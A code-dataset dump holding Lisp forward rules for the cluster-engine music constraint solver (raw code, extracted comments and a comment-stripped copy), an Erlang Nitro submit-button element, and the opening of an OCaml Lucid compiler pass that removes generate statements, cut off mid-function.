;a time point within the range is found.
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))))
;else (if it is a pitch engine)
(let ((current-index-total-notecount (if (>= (aref vindex (car (aref vbacktrack-history 0))) 0)
(get-current-index-total-notecount (car (aref vbacktrack-history 0)) vindex vsolution)
0)))
(declare (type fixnum current-index-total-notecount))
(cond
((= current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has the same number of notes (or pitches) than at the moment of backtracking: forward to this engine
;and pop it
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6B (pop (aref vbacktrack-history 0))))
((< current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has a lower number of notes (or pitches) than at the moment of backtracking: forward this engine
;without poping it (until the number of notes will catch up).
(return nil))
((> current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has a higher number of notes (or pitches) than at the moment of backtracking: loop backtrack-info until
;an index within the range is found.
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))
)))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type number max-voice-length min-voice-length)) ; length-metric-engin
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
;;;---
(defun find-pitch-engine-with-missing-pitches (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
;(print vsolution *cluster-engine-log-output*)
(loop for rhythm-engine in (aref vdefault-engine-order 1)
do (let ((pitch-engine (1+ rhythm-engine)))
(when (member pitch-engine (aref vdefault-engine-order 2))
(let ((nr-of-pitches (if (/= (aref vindex pitch-engine) -1) (get-current-index-total-pitchcount pitch-engine vindex vsolution) 0))
(nr-of-notes (if (/= (aref vindex rhythm-engine) -1) (get-current-index-total-notecount rhythm-engine vindex vsolution) 0)))
(when (> nr-of-notes nr-of-pitches) (return pitch-engine)))))
finally (return nil))) ;this means that all pitch engines are OK
(defun find-shortest-rhythm-engine (min-voice-length all-voices-total-length vdefault-engine-order)
(declare (type number min-voice-length))
(declare (type list all-voices-total-length))
(declare (type array vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 1)
for total-length in all-voices-total-length
do (when (= total-length min-voice-length) (return engine))))
(defun get-total-duration-all-rhythm-engines (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 1)
collect (if (/= (aref vindex engine) -1) (get-current-index-endtime engine vindex vsolution) 0)))
;;;;;;;;;;;;;;;;; below are not used
(defun get-total-notecount-all-rhythm-engines (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 1)
collect (if (/= (aref vindex engine) -1) (get-current-index-total-notecount engine vindex vsolution) 0)))
(defun get-total-pitchcount-all-pitch-engines (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 2)
collect (if (/= (aref vindex engine) -1) (get-current-index-total-pitchcount engine vindex vsolution) 0)))
;;;below functions are not tested yet
(defun get-longest-timebased-engine (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(let ((max-total-duration (apply 'max
(loop for engine in (aref vdefault-engine-order 4)
collect (get-current-index-endtime engine vindex vsolution)))))
(declare (type number max-total-duration))
(loop for engine in (aref vdefault-engine-order 4)
while (/= (get-current-index-endtime engine vindex vsolution) max-total-duration)
finally (return engine))))
(defun get-shortest-timebased-engine (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(let ((min-total-duration (apply 'min
(loop for engine in (aref vdefault-engine-order 4)
collect (get-current-index-endtime engine vindex vsolution)))))
(declare (type number min-total-duration))
(loop for engine in (aref vdefault-engine-order 4)
while (/= (get-current-index-endtime engine vindex vsolution) min-total-duration)
finally (return engine))))
| null | https://raw.githubusercontent.com/tanders/cluster-engine/064ad4fd107f8d9a3dfcaf260524c2ab034c6d3f/sources/03.Fwd-rules.lisp | lisp |
this is just here to avoid error message when compiled
forward to last backtracked engine
Fwd-rule-indep does not take backtrack history into consideration.
pop backtracked engine just to make the list shorter..
length-metric-engin
It also expects a metric engine (it will crash without one).
forward to last backtracked engine
length-metric-engin
---
if proposed backtrack engine is at the same index as at the point of backtracking: forward to this engine
if proposed backtrack engine is at a higher index than at the point of backtracking: loop backtrack-info until
an index within the range is found.
if proposed backtrack engine is at a lower index than at the point of backtracking: return from loop and let other
forward rules determine (until index will catch up).
length-metric-engin
---
if proposed backtrack engine is at the same index as at the point of backtracking: forward to this engine
if proposed backtrack engine is at a higher index than at the point of backtracking: loop backtrack-info until
an index within the range is found.
if proposed backtrack engine is at a lower index than at the point of backtracking: forward this engine
without poping it (until index will catch up).
length-metric-engin
---
if the proposed backtrack engine is the metric engine, just bactrack it.
This can definitely be more elegant done (i.e. more efficient)
if the proposed backtrack engine has the same number of notes (or pitches) than at the moment of backtracking: forward to this engine
and pop it
if the proposed backtrack engine has a lower number of notes (or pitches) than at the moment of backtracking: forward according to
general rules (until the number of notes will catch up).
The reason for this is that rests in rhythm engines arenot counted and can make the system only pick rests (since count value
if the proposed backtrack engine has a higher number of notes (or pitches) than at the moment of backtracking: loop backtrack-info until
an index within the range is found.
length-metric-engin
---
if the proposed backtrack engine has a time line, i.e. it is a metric or rhythm engine:
if the proposed backtrack engine has the same end time as at the moment of backtracking: forward to this engine
and pop it
if the proposed backtrack engine has an earlier end time than at the moment of backtracking: forward this engine
without poping it (until the number of notes will catch up).
if the proposed backtrack engine has a later end time than at the moment of backtracking: loop backtrack-info until
a time point within the range is found.
else (if it is a pitch engine)
if the proposed backtrack engine has the same number of notes (or pitches) than at the moment of backtracking: forward to this engine
and pop it
if the proposed backtrack engine has a lower number of notes (or pitches) than at the moment of backtracking: forward this engine
without poping it (until the number of notes will catch up).
if the proposed backtrack engine has a higher number of notes (or pitches) than at the moment of backtracking: loop backtrack-info until
an index within the range is found.
length-metric-engin
---
if the proposed backtrack engine has a time line, i.e. it is a metric or rhythm engine:
if the proposed backtrack engine has the same end time as at the moment of backtracking: forward to this engine
and pop it
if the proposed backtrack engine has an earlier end time than at the moment of backtracking: forward this engine
without poping it (until the number of notes will catch up).
if the proposed backtrack engine has a later end time than at the moment of backtracking: loop backtrack-info until
a time point within the range is found.
else (if it is a pitch engine)
if the proposed backtrack engine has the same number of notes (or pitches) than at the moment of backtracking: forward to this engine
and pop it
if the proposed backtrack engine has a lower number of notes (or pitches) than at the moment of backtracking: forward this engine
without poping it (until the number of notes will catch up).
if the proposed backtrack engine has a higher number of notes (or pitches) than at the moment of backtracking: loop backtrack-info until
an index within the range is found.
length-metric-engin
---
(print vsolution *cluster-engine-log-output*)
this means that all pitch engines are OK
below are not used
below functions are not tested yet | (in-package cluster-engine)
Fwd - rule1 is just to always get a solution . It does NOT balance engines .
(defun fwd-rule1 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"Very simple: shortest index next, in order of default order"
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(if (aref vbacktrack-history 0)
(progn (pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(let ((min-index (apply 'min (loop for n in (aref vdefault-engine-order 0) collect (aref vindex n)))))
(declare (type fixnum min-index))
(loop for engine in (aref vdefault-engine-order 0)
while (/= (aref vindex engine) min-index)
finally (return engine)))))
(defun fwd-rule-indep (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"Backtrack route is poped just to keep the list short. This could be removed.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(when (aref vbacktrack-history 0)
(progn (pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
Fwd - rule2 expects a matching rhythm engine for every pitch engine ( a pitch engine without rhythm will be skipped ) .
(defun fwd-rule2 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"If there is a backtrack routed, forward that engine (and pop the list).
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(if (aref vbacktrack-history 0)
(progn (pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
)))
(defun fwd-rule3 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the index of the backtracked index into consideration.
If backtrack route is not at index, make a free choice.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(cond ((= (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule3 (pop (aref vbacktrack-history 0))))
((> (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))
(t
(return nil))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
(defun fwd-rule4 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the index of the backtracked index into consideration.
If backtrack engine is not at index, backtrack engine without poping it (i.e. step forward this
engine and assign variables until index has caught up).
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(cond ((= (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule4 (pop (aref vbacktrack-history 0))))
((> (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))
(t
(return-from fwd-rule4 (car (aref vbacktrack-history 0))))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
(defun fwd-rule5 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the COUNT VALUE of the backtracked index into consideration.
If the backtracked engine is not at the count value, backtrack that engine without poping it (to catch up).
The metric layer considers index instead of count value.
Count value has the problem that rests are not counted in rhythm engines. Rests could slip trhough the system
and cause the engine to only generate rests for a backtracked engine.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(progn (when (= (car (aref vbacktrack-history 0)) (1- number-of-engines))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule5 (pop (aref vbacktrack-history 0))))
(let ((current-index-total-notecount (if (>= (aref vindex (car (aref vbacktrack-history 0))) 0)
(get-current-index-total-notecount (car (aref vbacktrack-history 0)) vindex vsolution)
0)))
(declare (type fixnum current-index-total-notecount))
(cond
((= current-index-total-notecount (car (aref vbacktrack-history 2)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule5 (pop (aref vbacktrack-history 0))))
((< current-index-total-notecount (car (aref vbacktrack-history 2)))
will not change ) . Change this in rule6 when time pont is considered ....
(return nil))
((> current-index-total-notecount (car (aref vbacktrack-history 2)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))
)))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
(defun fwd-rule6 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the COUNT VALUE AND TIME POINT of the backtracked index into consideration.
If the backtracked engine is not at the count value (pitch engine) or time point (rhythm engine/metric engine),
backtrack that engine without poping it (to catch up).
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(if (evenp (car (aref vbacktrack-history 0)))
Compare cureent end time with start time at the previous moment of backtracking
(let ((current-index-end-time (get-current-index-endtime (car (aref vbacktrack-history 0)) vindex vsolution)))
(cond ((= current-index-end-time (car (aref vbacktrack-history 3)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6 (pop (aref vbacktrack-history 0))))
((< current-index-end-time (car (aref vbacktrack-history 3)))
(return-from fwd-rule6 (car (aref vbacktrack-history 0))))
((> current-index-end-time (car (aref vbacktrack-history 3)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))))
(let ((current-index-total-notecount (if (>= (aref vindex (car (aref vbacktrack-history 0))) 0)
(get-current-index-total-notecount (car (aref vbacktrack-history 0)) vindex vsolution)
0)))
(declare (type fixnum current-index-total-notecount))
(cond
((= current-index-total-notecount (car (aref vbacktrack-history 2)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6 (pop (aref vbacktrack-history 0))))
((< current-index-total-notecount (car (aref vbacktrack-history 2)))
(return-from fwd-rule6 (car (aref vbacktrack-history 0))))
((> current-index-total-notecount (car (aref vbacktrack-history 2)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))
)))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
(defun fwd-rule6B (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"Identical to fwd-rule6 but:
If the backtracked engine is not at the count value (pitch engine) or time point (rhythm engine/metric engine),
backtrack according to general rules.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(if (evenp (car (aref vbacktrack-history 0)))
Compare cureent end time with start time at the previous moment of backtracking
(let ((current-index-end-time (get-current-index-endtime (car (aref vbacktrack-history 0)) vindex vsolution)))
(cond ((= current-index-end-time (car (aref vbacktrack-history 3)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6B (pop (aref vbacktrack-history 0))))
((< current-index-end-time (car (aref vbacktrack-history 3)))
(return nil))
((> current-index-end-time (car (aref vbacktrack-history 3)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))))
(let ((current-index-total-notecount (if (>= (aref vindex (car (aref vbacktrack-history 0))) 0)
(get-current-index-total-notecount (car (aref vbacktrack-history 0)) vindex vsolution)
0)))
(declare (type fixnum current-index-total-notecount))
(cond
((= current-index-total-notecount (car (aref vbacktrack-history 2)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6B (pop (aref vbacktrack-history 0))))
((< current-index-total-notecount (car (aref vbacktrack-history 2)))
(return nil))
((> current-index-total-notecount (car (aref vbacktrack-history 2)))
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))
)))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
(defun find-pitch-engine-with-missing-pitches (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(loop for rhythm-engine in (aref vdefault-engine-order 1)
do (let ((pitch-engine (1+ rhythm-engine)))
(when (member pitch-engine (aref vdefault-engine-order 2))
(let ((nr-of-pitches (if (/= (aref vindex pitch-engine) -1) (get-current-index-total-pitchcount pitch-engine vindex vsolution) 0))
(nr-of-notes (if (/= (aref vindex rhythm-engine) -1) (get-current-index-total-notecount rhythm-engine vindex vsolution) 0)))
(when (> nr-of-notes nr-of-pitches) (return pitch-engine)))))
(defun find-shortest-rhythm-engine (min-voice-length all-voices-total-length vdefault-engine-order)
(declare (type number min-voice-length))
(declare (type list all-voices-total-length))
(declare (type array vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 1)
for total-length in all-voices-total-length
do (when (= total-length min-voice-length) (return engine))))
(defun get-total-duration-all-rhythm-engines (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 1)
collect (if (/= (aref vindex engine) -1) (get-current-index-endtime engine vindex vsolution) 0)))
(defun get-total-notecount-all-rhythm-engines (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 1)
collect (if (/= (aref vindex engine) -1) (get-current-index-total-notecount engine vindex vsolution) 0)))
(defun get-total-pitchcount-all-pitch-engines (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(loop for engine in (aref vdefault-engine-order 2)
collect (if (/= (aref vindex engine) -1) (get-current-index-total-pitchcount engine vindex vsolution) 0)))
(defun get-longest-timebased-engine (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(let ((max-total-duration (apply 'max
(loop for engine in (aref vdefault-engine-order 4)
collect (get-current-index-endtime engine vindex vsolution)))))
(declare (type number max-total-duration))
(loop for engine in (aref vdefault-engine-order 4)
while (/= (get-current-index-endtime engine vindex vsolution) max-total-duration)
finally (return engine))))
(defun get-shortest-timebased-engine (vsolution vindex vdefault-engine-order)
(declare (type array vsolution vindex vdefault-engine-order))
(let ((min-total-duration (apply 'min
(loop for engine in (aref vdefault-engine-order 4)
collect (get-current-index-endtime engine vindex vsolution)))))
(declare (type number min-total-duration))
(loop for engine in (aref vdefault-engine-order 4)
while (/= (get-current-index-endtime engine vindex vsolution) min-total-duration)
finally (return engine))))
|
53d34d2f9f03abb2f02b1ecf2c4c84a687e8a12133d3649c7788fd9465b59be6 | synrc/nitro | element_submit.erl | -module (element_submit).
-author('Andrew Zadorozhny').
-include_lib("nitro/include/nitro.hrl").
-include_lib("nitro/include/event.hrl").
-compile(export_all).
render_element(Record) when Record#submit.show_if==false -> [<<>>];
render_element(Record) ->
ID = case Record#submit.id of [] -> nitro:temp_id(); I->I end,
case Record#submit.postback of
[] -> skip;
Postback -> nitro:wire(#event { type=click,
target=ID,
postback=Postback,
source=Record#submit.source }) end,
case Record#submit.click of
[] -> ignore;
ClickActions -> nitro:wire(#event { target=ID, type=click, actions=ClickActions }) end,
wf_tags:emit_tag(<<"input">>, [
{<<"id">>, ID},
{<<"type">>, <<"submit">>},
{<<"class">>, Record#submit.class},
{<<"style">>, Record#submit.style},
{<<"value">>, Record#submit.body} | Record#submit.data_fields
]).
| null | https://raw.githubusercontent.com/synrc/nitro/753b543626add2c014584546ec50870808a2eb90/src/elements/input/element_submit.erl | erlang | -module (element_submit).
-author('Andrew Zadorozhny').
-include_lib("nitro/include/nitro.hrl").
-include_lib("nitro/include/event.hrl").
-compile(export_all).
render_element(Record) when Record#submit.show_if==false -> [<<>>];
render_element(Record) ->
ID = case Record#submit.id of [] -> nitro:temp_id(); I->I end,
case Record#submit.postback of
[] -> skip;
Postback -> nitro:wire(#event { type=click,
target=ID,
postback=Postback,
source=Record#submit.source }) end,
case Record#submit.click of
[] -> ignore;
ClickActions -> nitro:wire(#event { target=ID, type=click, actions=ClickActions }) end,
wf_tags:emit_tag(<<"input">>, [
{<<"id">>, ID},
{<<"type">>, <<"submit">>},
{<<"class">>, Record#submit.class},
{<<"style">>, Record#submit.style},
{<<"value">>, Record#submit.body} | Record#submit.data_fields
]).
| |
0fca76e420dda959a63d53200431f3aa64d5e4ffd4a1c75bad25fead95a4ac2a | PrincetonUniversity/lucid | RemoveGenerates.ml |
After this pass , generate statements only need to set multicast ID and egress port .
- All event parameters are set in this pass .
- event count is set ( really : mc_group_a )
- After this pass , to translate a generate statement , you must :
1 . generate : nothing
2 . port generate : set egress_port and port_evid
3 . ports generate : create multicast group and set ports_mcid
1 . walk the program and collect a list of all possible sequences of events generated . Will be used later .
2 . eliminate generate statements .
1 . at each generate , set all parameter variables . for each parameter variable foo set , check if it is later read . If so , set orig_foo = foo before the generate and replace foo with orig_foo everywhere after the generate .
2 . at each generate ( _ , x ( ) ) , set flag ev_x_generated .
3 . if generate type is :
- generate self : increment self_generate_ct
- generate port : set egress port variable
- generate ports :
- if flood : set ports_mcid = 512 + flood port
- if group value : create a multicast group and set ports_mcid
After this pass, generate statements only need to set multicast ID and egress port.
- All event parameters are set in this pass.
- event count is set (really: mc_group_a)
- After this pass, to translate a generate statement, you must:
1. recirc generate: nothing
2. port generate: set egress_port and port_evid
3. ports generate: create multicast group and set ports_mcid
1. walk the program and collect a list of all possible sequences of events generated. Will be used later.
2. eliminate generate statements.
1. at each generate, set all parameter variables. for each parameter variable foo set, check if it is later read. If so, set orig_foo = foo before the generate and replace foo with orig_foo everywhere after the generate.
2. at each generate(_, x()), set flag ev_x_generated.
3. if generate type is:
- generate self: increment self_generate_ct
- generate port: set egress port variable
- generate ports:
- if flood: set ports_mcid = 512 + flood port
- if group value: create a multicast group and set ports_mcid
*)
open CoreSyntax
open TofinoCore
open CoreCfg
exception Error of string
let error s = raise (Error s)
(* find all the possible sequences of events that get generated *)
let rec find_ev_gen_seqs statement =
match statement.s with
| SGen(_, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, _) -> (
[[Cid.to_id ev_cid]]
)
| _ -> error "[find_ev_gen_seqs] event should be a call by this point"
)
| SIf(_, s1, s2) ->
(find_ev_gen_seqs s1)@(find_ev_gen_seqs s2)
| SMatch(_, branches) ->
List.fold_left (fun seqs (_, stmt) -> seqs@(find_ev_gen_seqs stmt)) [] branches
| SSeq(s1, s2) -> (
let seqs_s1 = find_ev_gen_seqs s1 in
let seqs_s2 = find_ev_gen_seqs s2 in
let update_seqs seqs seq =
List.map (fun s -> s@seq) seqs
in
List.fold_left
(fun new_seqs_s1 seq ->
new_seqs_s1@(update_seqs seqs_s1 seq)
)
[]
seqs_s2
)
(* no events in rest *)
| _ -> [[]]
;;
let set_ev_gen_seqs tds =
let main_handler = (main tds) in
let main_stmt = main_handler.main_body |> List.hd in
let ev_gen_seqs = find_ev_gen_seqs main_stmt in
